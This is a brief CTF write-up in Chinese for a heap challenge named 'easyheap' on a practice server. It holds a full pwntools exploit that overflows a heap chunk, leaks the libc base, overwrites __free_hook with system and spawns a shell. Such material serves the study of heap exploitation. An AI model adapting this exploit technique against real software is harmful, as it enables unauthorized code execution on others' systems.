思路
堆溢出構造堆塊重疊打free_hook爲system
exp:
from pwn import *
#p=process('./easyheap')
elf=ELF('./easyheap')
libc=elf.libc
p=remote('node3.buuoj.cn',29973)
def add(size,content):
p.sendlineafter(':','1')
p.sendlineafter('Size:',str(size))
p.sendlineafter('Content:',content)
def edit(idx,size,content):
p.sendlineafter(':','2')
p.sendlineafter('id:',str(idx))
p.sendlineafter('Size:',str(size))
p.sendafter('Content:',content)
def show():
p.sendlineafter(':','3')
def delete(idx):
p.sendlineafter(':','4')
p.sendlineafter('id:',str(idx))
add(0x18,'aaaa')#0
add(0x68,'bbbb')#1
add(0x20,'cccc')#2
add(0x20,'dddd')#3
add(0x30,'/bin/sh\x00')#4
add(0x30,'/bin/sh\x00')#5
payload='a'*0x18+p64(0x91)
edit(0,len(payload),payload)
delete(1)
add(0x18,'')
show()
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-88-0x10
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
add(0x20,'ffff')
payload=p64(0)*4+p64(0)+p64(0x21)+p64(0x50)+p64(free_hook)
edit(3,len(payload),payload)
edit(4,8,p64(system))
delete(5)
#show()
p.interactive()